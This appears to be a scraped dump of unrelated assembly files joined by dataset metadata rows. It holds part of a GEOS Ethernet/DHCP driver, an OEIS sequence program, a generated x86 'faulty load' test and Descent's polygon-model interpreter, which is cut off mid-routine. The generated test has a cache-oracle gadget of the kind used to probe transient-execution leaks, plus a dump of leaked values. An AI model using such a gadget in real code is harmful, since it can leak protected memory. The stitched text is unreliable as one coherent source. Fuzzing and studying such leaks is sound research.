DESTROYED: ax, cx, dx, bp
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ayuen 11/07/98 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPProcessIpPacket method dynamic EtherProcessClass,
MSG_EP_PROCESS_IP_PACKET
.enter
EthDevProcessIpPacket
.leave
ret
EPProcessIpPacket endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPMetaAttach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Signs up for the DHCP GCN list.
CALLED BY: MSG_META_ATTACH
PASS: *ds:si = EtherProcessClass object
ds:di = EtherProcessClass instance data
ds:bx = EtherProcessClass object (same as *ds:si)
es = segment of EtherProcessClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ed 7/03/00 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPMetaAttach method dynamic EtherProcessClass,
MSG_META_ATTACH
.enter
; Commenting this out cuz it causes a crash. There is no default
; handler for this message, so we won't worry about it.
mov di, offset EtherProcessClass
call ObjCallSuperNoLock
mov cx, ss:[0].TPD_threadHandle
clr dx
mov bx, MANUFACTURER_ID_GEOWORKS
mov ax, GCNSLT_TCPIP_STATUS_NOTIFICATIONS
call GCNListAdd
.leave
ret
EPMetaAttach endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPMetaDetach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Remove self from GCN list
CALLED BY: MSG_META_DETACH
PASS: *ds:si = EtherProcessClass object
ds:di = EtherProcessClass instance data
ds:bx = EtherProcessClass object (same as *ds:si)
es = segment of EtherProcessClass
ax = message #
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ed 7/03/00 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPMetaDetach method dynamic EtherProcessClass,
MSG_META_DETACH
uses ax, bx, cx, dx
.enter
mov cx, ss:[0].TPD_threadHandle
clr dx
mov bx, MANUFACTURER_ID_GEOWORKS
mov cx, GCNSLT_TCPIP_STATUS_NOTIFICATIONS
call GCNListRemove
.leave
mov di, offset EtherProcessClass
call ObjCallSuperNoLock
ret
EPMetaDetach endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EPMetaNotifyWithDataBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Receives DHCP status notifications, updates settings
CALLED BY: MSG_META_NOTIFY_WITH_DATA_BLOCK
PASS: *ds:si = EtherProcessClass object
ds:di = EtherProcessClass instance data
ds:bx = EtherProcessClass object (same as *ds:si)
es = segment of EtherProcessClass
ax = message #
cx = manufacturer id (we want MANUFACTURER_ID_GEOWORKS)
dx = notification type (we want GWNT_TCPIP_DHCP_STATUS)
bp = MemHandle
RETURN:
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ed 7/03/00 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EPMetaNotifyWithDataBlock method dynamic EtherProcessClass,
MSG_META_NOTIFY_WITH_DATA_BLOCK
uses bx, cx, dx, si, bp, ds, es
.enter
cmp cx, MANUFACTURER_ID_GEOWORKS
jne done
cmp dx, GWNT_TCPIP_DHCP_STATUS
jne done
mov bx, handle dgroup
call MemDerefDS
mov bx, bp
call MemLock
mov es, ax
cmp es:[0].TDND_status, TDSNT_CONFIGURATION
jne checkExpire
movdw ({dword}ds:[localIpAddr]), ({dword}es:[0].TDND_ipAddr), ax
movdw cxax, ({dword}es:[0].TDND_netmask)
tstdw cxax
jnz gotSubnet
movdw cxax, 000FFFFFFh
gotSubnet:
movdw ({dword}ds:[subnetMask]), cxax
movdw cxax, ({dword}es:[0].TDND_gateway)
tstdw cxax
jnz gotGateway
; Test stored gateway address to see if it matches what we would
; compute it to be if there was no ip address in accpnt.
; If so, compute new one. Note this gateway is not certain, but
; simply an educated guess.
cmpdw ({dword}ds:[gatewayAddr]), 01000000h
jne unlockBlock ; No gateway from DHCP but had from accpnt
movdw cxax, ({dword}ds:[localIpAddr])
and cx, ({dword}ds:[subnetMask]).high
and ax, ({dword}ds:[subnetMask]).low
inc ch
gotGateway:
movdw ({dword}ds:[gatewayAddr]), cxax
unlockBlock:
call MemUnlock
mov bx, ss:[0].TPD_threadHandle
mov ax, MSG_EP_NOTIFY_CONNECT_CONFIRMED
mov di, mask MF_FORCE_QUEUE
call ObjMessage
done:
.leave
mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK
mov di, offset EtherProcessClass
call ObjCallSuperNoLock
ret
wrongPacket:
call MemUnlock
jmp done
checkExpire:
cmp es:[0].TDND_status, TDSNT_LEASE_EXPIRED
jne wrongPacket
clr ax
clrdw ds:[localIpAddr], ax
clrdw ds:[subnetMask], ax
clrdw ds:[gatewayAddr], ax
jmp done
EPMetaNotifyWithDataBlock endm
MovableCode ends
| 24.097884
| 79
| 0.57306
|
4ded2c10cf63447aad55b01ec0ecf57a2ea0931d
| 308
|
asm
|
Assembly
|
programs/oeis/005/A005719.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/005/A005719.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/005/A005719.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A005719: Quadrinomial coefficients.
; 2,12,40,101,216,413,728,1206,1902,2882,4224,6019,8372,11403,15248,20060,26010,33288,42104,52689,65296,80201,97704,118130,141830,169182,200592,236495,277356,323671,375968,434808,500786,574532,656712,748029,849224,961077
add $0,2
sub $2,$0
mul $0,$2
bin $2,5
sub $0,$2
| 34.222222
| 220
| 0.769481
|
c81f5513d17ae85e1f163d7c8b831ae9eb489b0a
| 5,486
|
asm
|
Assembly
|
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_154.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_154.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/US/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_154.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1bf23, %rdx
nop
nop
cmp %rsi, %rsi
mov $0x6162636465666768, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rdx)
nop
nop
nop
nop
and $20950, %r11
lea addresses_A_ht+0x17423, %rsi
lea addresses_normal_ht+0xa623, %rdi
nop
nop
xor $48773, %rax
mov $114, %rcx
rep movsl
nop
nop
nop
nop
inc %r9
lea addresses_A_ht+0xbf23, %rcx
nop
add %rdx, %rdx
mov $0x6162636465666768, %r9
movq %r9, (%rcx)
nop
nop
nop
dec %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r9
push %rbx
push %rdx
push %rsi
// Store
mov $0x263, %r9
dec %rdx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
movups %xmm0, (%r9)
nop
nop
nop
nop
nop
add $7008, %rsi
// Load
lea addresses_WC+0x5323, %r9
nop
nop
nop
nop
sub %rsi, %rsi
movb (%r9), %r14b
nop
dec %r10
// Load
lea addresses_A+0x14463, %r10
nop
nop
nop
nop
xor $19245, %rbx
vmovups (%r10), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %rsi
nop
nop
nop
nop
and $50352, %r10
// Faulty Load
lea addresses_US+0x12e23, %rbx
nop
and %r10, %r10
movups (%rbx), %xmm2
vpextrq $1, %xmm2, %rsi
lea oracles, %r10
and $0xff, %rsi
shlq $12, %rsi
mov (%r10,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rbx
pop %r9
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'same': True, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_US', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 21814, '08': 1, '45': 9, '2a': 4, '40': 1}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 40.637037
| 2,999
| 0.655669
|
615a5bd4d1f956f3f57a07b3a99010fbd56dc534
| 20,378
|
asm
|
Assembly
|
source/3dasm/interp.asm
|
arbruijn/d2gl
|
829b1990384b78087f3249feec7df13912e0da05
|
[
"Unlicense"
] | null | null | null |
source/3dasm/interp.asm
|
arbruijn/d2gl
|
829b1990384b78087f3249feec7df13912e0da05
|
[
"Unlicense"
] | null | null | null |
source/3dasm/interp.asm
|
arbruijn/d2gl
|
829b1990384b78087f3249feec7df13912e0da05
|
[
"Unlicense"
] | null | null | null |
; THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX
; SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO
; END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A
; ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS
; IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS
; SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE
; FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE
; CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS
; AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE.
; COPYRIGHT 1993-1999 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED.
.386
option oldstructs
.nolist
include pstypes.inc
include psmacros.inc
include gr.inc
include 3d.inc
.list
assume cs:_TEXT, ds:_DATA
_DATA segment dword public USE32 'DATA'
rcsid db "$Id: interp.asm 1.27 1996/01/08 14:59:12 matt Exp $"
align 4
;table with address for each opcode
opcode_table dd op_eof ;0 = eof
dd op_defpoints ;1 = defpoints
dd op_flatpoly ;2 = flat-shaded polygon
dd op_tmappoly ;3 = texture-mapped polygon
dd op_sortnorm ;4 = sort by normal
dd op_rodbm ;5 = rod bitmap
dd op_subcall ;6 = call a subobject
dd op_defp_start ;7 = defpoints with start
dd op_glow ;8 = glow value for next poly
n_opcodes = ($-opcode_table)/4
bitmap_ptr dd ?
anim_angles dd ? ;pointer to angle data
morph_points dd ? ;alternate points for morph
;light value for the next tmap
glow_num dd -1 ;-1 means off
glow_values dd ? ;ptr to array of values
public _highest_texture_num
_highest_texture_num dw 0
zero_angles fixang 0,0,0 ;vms_angvec <0,0,0> ;for if no angles specified
rod_top_p g3s_point <>
rod_bot_p g3s_point <>
public g3d_interp_outline,_g3d_interp_outline
_g3d_interp_outline label dword
g3d_interp_outline dd 0
morph_pointlist dd ?,?,?
morph_uvls fix 3 dup (?,?,?)
;the light for the current model
model_light fix ?
;ptr to array of points
Interp_point_list dd ?
MAX_POINTS_PER_POLY = 25
point_list dd MAX_POINTS_PER_POLY dup (?)
MAX_INTERP_COLORS = 100
;this is a table of mappings from RGB15 to palette colors
interp_color_table dw MAX_INTERP_COLORS dup (?,?)
n_interp_colors dd 0
uninit_flag dd 0
_DATA ends
_TEXT segment dword public USE32 'CODE'
;get and jump to next opcode
next macro
xor ebx,ebx
mov bx,[ebp]
ifndef NDEBUG
cmp ebx,n_opcodes
break_if ge,'Invalid opcode'
endif
mov ebx,opcode_table[ebx*4]
jmp ebx
endm
;get and call the next opcode
call_next macro
xor ebx,ebx
mov bx,[ebp]
ifndef NDEBUG
cmp ebx,n_opcodes
break_if ge,'Invalid opcode'
endif
mov ebx,opcode_table[ebx*4]
call ebx
endm
;give the interpreter an array of points to use
g3_set_interp_points:
mov Interp_point_list,eax
ret
;interpreter to draw polygon model
;takes esi=ptr to object, edi=ptr to array of bitmap pointers,
;eax=ptr to anim angles, edx=light value, ebx=ptr to array of glow values
g3_draw_polygon_model:
pushm eax,ebx,ecx,edx,esi,edi,ebp
mov ebp,esi ;ebp = interp ptr
mov bitmap_ptr,edi ;save ptr to bitmap array
mov anim_angles,eax
mov model_light,edx
mov glow_values,ebx
mov glow_num,-1
;;@@ mov depth,0
call_next
popm eax,ebx,ecx,edx,esi,edi,ebp
ret
;handlers for opcodes
;end of a model or sub-rountine
op_eof: ret
;define a list of points
op_defpoints: xor ecx,ecx
mov cx,2[ebp] ;num points
mov edi,Interp_point_list
lea esi,4[ebp]
rotate_loop: call g3_rotate_point
add edi,size g3s_point
add esi,size vms_vector
dec ecx
jnz rotate_loop
mov ebp,esi
next
;define a list of points, with starting point num specified
op_defp_start: xor ecx,ecx
xor eax,eax
mov ax,w 4[ebp] ;starting point num
imulc eax,size g3s_point ;get ofs of point
add eax,Interp_point_list
mov edi,eax
mov cx,2[ebp] ;num points
lea esi,8[ebp]
jmp rotate_loop
next
;draw a flat-shaded polygon
op_flatpoly: xor ecx,ecx
mov cx,2[ebp] ;num verts
lea esi,4[ebp] ;point
lea edi,16[ebp] ;vector
call g3_check_normal_facing
jng flat_not_facing
;polygon is facing, so draw it
;here the glow parameter is used for the player's headlight
test glow_num,-1 ;glow override?
js no_glow2
mov eax,glow_num
mov esi,glow_values
mov eax,[esi+eax*4]
mov glow_num,-1
cmp eax,-1 ;-1 means draw normal color
jne not_normal_color
;use the color specified, run through darkening table
xor ebx,ebx
mov eax,32 ;32 shades
imul model_light
sar eax,16
or eax,eax
jns no_sat1
xor eax,eax
no_sat1: cmp eax,32
jl no_sat2
mov eax,32
no_sat2: mov bh,al ;get lighting table
xor eax,eax
mov ax,28[ebp] ;get color index
mov ax,interp_color_table[eax*4]
mov bl,al
mov al,gr_fade_table[ebx]
jmp got_color_index
not_normal_color: cmp eax,-2 ;-2 means use white
jne not_white
mov eax,255 ;hack!
jmp got_color_index
not_white: cmp eax,-3 ;-3 means don't draw polygon
je flat_not_facing
no_glow2:
xor eax,eax
mov ax,28[ebp] ;get color index
mov ax,interp_color_table[eax*4]
got_color_index: call gr_setcolor_ ;set it
lea esi,30[ebp] ;point number list
;make list of point pointers
ifndef NDEBUG
cmp ecx,MAX_POINTS_PER_POLY
break_if ge,'Too many points in interp poly'
endif
lea edi,point_list
xor ebx,ebx
copy_loop: xor eax,eax
mov ax,w [esi+ebx*2] ;get point number
imulc eax,size g3s_point
add eax,Interp_point_list
mov [edi+ebx*4],eax
inc ebx
cmp ebx,ecx
jne copy_loop
mov esi,edi
call g3_draw_poly
xor ecx,ecx
mov cx,2[ebp] ;restore count
ifndef NDEBUG
test g3d_interp_outline,-1
jz no_outline
pushm ecx,esi
lea esi,30[ebp]
call draw_outline
popm ecx,esi
no_outline:
endif
;polygon is not facing (or we've plotted it). jump to next opcode
flat_not_facing: and ecx,0fffffffeh
inc ecx ;adjust for pad
lea ebp,30[ebp+ecx*2]
next
;set the glow value for the next tmap
op_glow: test glow_values,-1
jz skip_glow
xor eax,eax
mov ax,2[ebp]
mov glow_num,eax
skip_glow: add ebp,4
next
;draw a texture map
op_tmappoly: xor ecx,ecx
mov cx,2[ebp] ;num verts
lea esi,4[ebp] ;point
lea edi,16[ebp] ;normal
call g3_check_normal_facing
jng tmap_not_facing
;polygon is facing, so draw it
xor edx,edx
mov dx,28[ebp] ;get bitmap number
mov eax,bitmap_ptr
mov edx,[eax+edx*4]
lea esi,30[ebp] ;point number list
mov eax,ecx
and eax,0fffffffeh
inc eax
lea ebx,30[ebp+eax*2] ;get uvl list
;calculate light from surface normal
push esi
test glow_num,-1 ;glow override?
js no_glow
;special glow lighting, which doesn't care about surface normal
mov eax,glow_num
mov esi,glow_values
mov eax,[esi+eax*4]
mov glow_num,-1
jmp got_light_value
no_glow:
lea esi,View_matrix.fvec
lea edi,16[ebp] ;normal
call vm_vec_dotprod
neg eax
;scale light by model light
push edx
mov edx,eax
add eax,eax
add eax,edx ;eax *= 3
sar eax,2 ;eax *= 3/4
add eax,f1_0/4 ;eax = 1/4 + eax * 3/4
fixmul model_light
pop edx
;now poke light into l values
got_light_value: pushm ecx,ebx
l_loop: mov 8[ebx],eax
add ebx,12
dec ecx
jnz l_loop
popm ecx,ebx
pop esi
;now draw it
;make list of point pointers
ifndef NDEBUG
cmp ecx,MAX_POINTS_PER_POLY
break_if ge,'Too many points in interp poly'
endif
push ebx
lea edi,point_list
xor ebx,ebx
copy_loop2: xor eax,eax
mov ax,w [esi+ebx*2] ;get point number
imulc eax,size g3s_point
add eax,Interp_point_list
mov [edi+ebx*4],eax
inc ebx
cmp ebx,ecx
jne copy_loop2
mov esi,edi
pop ebx
call g3_draw_tmap
xor ecx,ecx
mov cx,2[ebp] ;restore count
ifndef NDEBUG
test g3d_interp_outline,-1
jz no_outline2
pushm ecx,esi
lea esi,30[ebp]
call draw_outline
popm ecx,esi
no_outline2:
endif
;polygon is not facing (or we've plotted it). jump to next opcode
tmap_not_facing: mov ebx,ecx
and ebx,0fffffffeh
inc ebx ;adjust for pad
lea ebp,30[ebp+ebx*2]
mov eax,ecx
sal ecx,1
add ecx,eax
sal ecx,2 ;ecx=ecx*12
add ebp,ecx ;point past uvls
next
;sort based on surface normal
op_sortnorm: lea esi,16[ebp] ;point
lea edi,4[ebp] ;vector
call g3_check_normal_facing
jng sortnorm_not_facing
;is facing. draw back then front
push ebp
xor eax,eax
mov ax,30[ebp] ;get back offset
add ebp,eax
call_next
mov ebp,[esp] ;get ebp
xor eax,eax
mov ax,28[ebp] ;get front offset
add ebp,eax
call_next
pop ebp
lea ebp,32[ebp]
next
;is not facing. draw front then back
sortnorm_not_facing:
push ebp
xor eax,eax
mov ax,28[ebp] ;get back offset
add ebp,eax
call_next
mov ebp,[esp] ;get ebp
xor eax,eax
mov ax,30[ebp] ;get front offset
add ebp,eax
call_next
pop ebp
lea ebp,32[ebp]
next
;draw a rod bitmap
op_rodbm: lea esi,20[ebp] ;bot point
lea edi,rod_bot_p
call g3_rotate_point
lea esi,4[ebp] ;top point
lea edi,rod_top_p
call g3_rotate_point
lea esi,rod_bot_p ;esi=bot, edi=top
mov eax,16[ebp] ;bot width
mov edx,32[ebp] ;top width
xor ebx,ebx
mov bx,2[ebp] ;get bitmap number
mov ecx,bitmap_ptr
mov ebx,[ecx+ebx*4]
call g3_draw_rod_tmap
lea ebp,36[ebp]
next
;draw a subobject
op_subcall: xor eax,eax
mov ax,2[ebp] ;get object number
;get ptr to angles
mov edi,anim_angles
or edi,edi
jnz angles_not_null
;angles not specified. Use zero angles
lea edi,zero_angles
jmp got_angles
angles_not_null:
imulc eax,size vms_angvec
add edi,eax
got_angles:
;angles in edi
lea esi,4[ebp] ;get position
call g3_start_instance_angles
push ebp
xor eax,eax
mov ax,16[ebp]
add ebp,eax ;offset of subobject
call_next ;draw the subobject
pop ebp
call g3_done_instance
lea ebp,20[ebp]
next
;takes ax, returns ax
find_color_index: push ebx
;first, see if color already in table
xor ebx,ebx ;counter
look_loop: cmp ebx,n_interp_colors
je must_add_color
cmp ax,interp_color_table+2[ebx*4]
je found_color
inc ebx
jmp look_loop
must_add_color: mov interp_color_table+2[ebx*4],ax ;save rgb15
call gr_find_closest_color_15bpp_
mov interp_color_table[ebx*4],ax ;save pal entry
inc n_interp_colors
found_color: mov eax,ebx ;return index
pop ebx
ret
;this remaps the 15bpp colors for the models into a new palette. It should
;be called whenever the palette changes
g3_remap_interp_colors:
pushm eax,ebx
xor ebx,ebx ;index
remap_loop: cmp ebx,n_interp_colors
je done_remap
xor eax,eax
mov ax,interp_color_table+2[ebx*4] ;get rgb15
call gr_find_closest_color_15bpp_
mov interp_color_table[ebx*4],ax ;store pal entry
inc ebx
jmp remap_loop
done_remap: popm eax,ebx
ret
;maps the colors back to RGB15
g3_uninit_polygon_model:
mov uninit_flag,1
;initialize a polygon object
;translate colors, scale UV values
;takes esi=ptr to model
g3_init_polygon_model:
mov _highest_texture_num,-1
pushm eax,ebx,ecx,edx,esi,edi
call init_loop
popm eax,ebx,ecx,edx,esi,edi
mov uninit_flag,0
ret
init_loop: mov ax,[esi] ;get opcode
cmp ax,0 ;eof
jne not_eof
ret
not_eof:
;defpoints
cmp ax,1 ;defpoints
jne not_defpoints
xor eax,eax
mov ax,2[esi] ;get count
sal eax,1
add ax,2[esi] ;*3
lea esi,4[esi+eax*4]
jmp init_loop
not_defpoints:
;flat polygon
cmp ax,2
jne not_flatpoly
ifndef NDEBUG
cmp w 2[esi],3
break_if l,'face must have 3 or more points'
endif
; The following 3 lines replace the above
xor eax, eax
mov ax,28[esi] ;get color
test uninit_flag,-1
jz not_uninit
;unitialize!
mov ax,interp_color_table+2[eax*4]
jmp cont1
not_uninit:
call find_color_index
cont1: mov 28[esi],ax ;store new color
xor ecx,ecx
mov cx,2[esi] ;get nverts
and ecx,0fffffffeh
inc ecx ;adjust for pad
lea esi,30[esi+ecx*2]
jmp init_loop
not_flatpoly:
;tmap polygon
cmp ax,3
jne not_tmappoly
ifndef NDEBUG
cmp w 2[esi],3
break_if l,'face must have 3 or more points'
endif
mov ax,28[esi] ;get bitmap number
cmp ax,_highest_texture_num
jle not_new
mov _highest_texture_num,ax
not_new: xor ecx,ecx
mov cx,2[esi] ;get nverts
mov ebx,ecx
and ebx,0fffffffeh
inc ebx ;adjust for pad
lea esi,30[esi+ebx*2] ;point at uvls
imul ecx,12 ;size of uvls
add esi,ecx ;skip them
jmp init_loop
;;@@init_uv_loop: mov eax,[esi] ;get u
;;@@ imul eax,64 ;times bitmap w
;;@@ mov [esi],eax
;;@@ mov eax,4[esi] ;get v
;;@@ imul eax,64 ;times bitmap h
;;@@ mov 4[esi],eax
;;@@ add esi,12 ;point at next
;;@@ dec ecx
;;@@ jnz init_uv_loop
;;@@ jmp init_loop
not_tmappoly:
;sort
cmp ax,4 ;sortnorm
jne not_sortnorm
push esi
xor eax,eax
mov ax,28[esi] ;get front offset
add esi,eax
call init_loop
mov esi,[esp]
xor eax,eax
mov ax,30[esi] ;get front offset
add esi,eax
call init_loop
pop esi
lea esi,32[esi]
jmp init_loop
not_sortnorm:
cmp ax,5
jne not_rodbm
add esi,36
jmp init_loop
not_rodbm:
cmp ax,6
jne not_subcall
push esi
xor eax,eax
mov ax,16[esi] ;get subobj offset
add esi,eax
call init_loop
pop esi
add esi,20
jmp init_loop
not_subcall:
cmp ax,7 ;defpoints
jne not_defpoints_st
xor eax,eax
mov ax,2[esi] ;get count
sal eax,1
add ax,2[esi] ;*3
lea esi,8[esi+eax*4]
jmp init_loop
not_defpoints_st:
cmp ax,8
jne not_glow
add esi,4
jmp init_loop
not_glow:
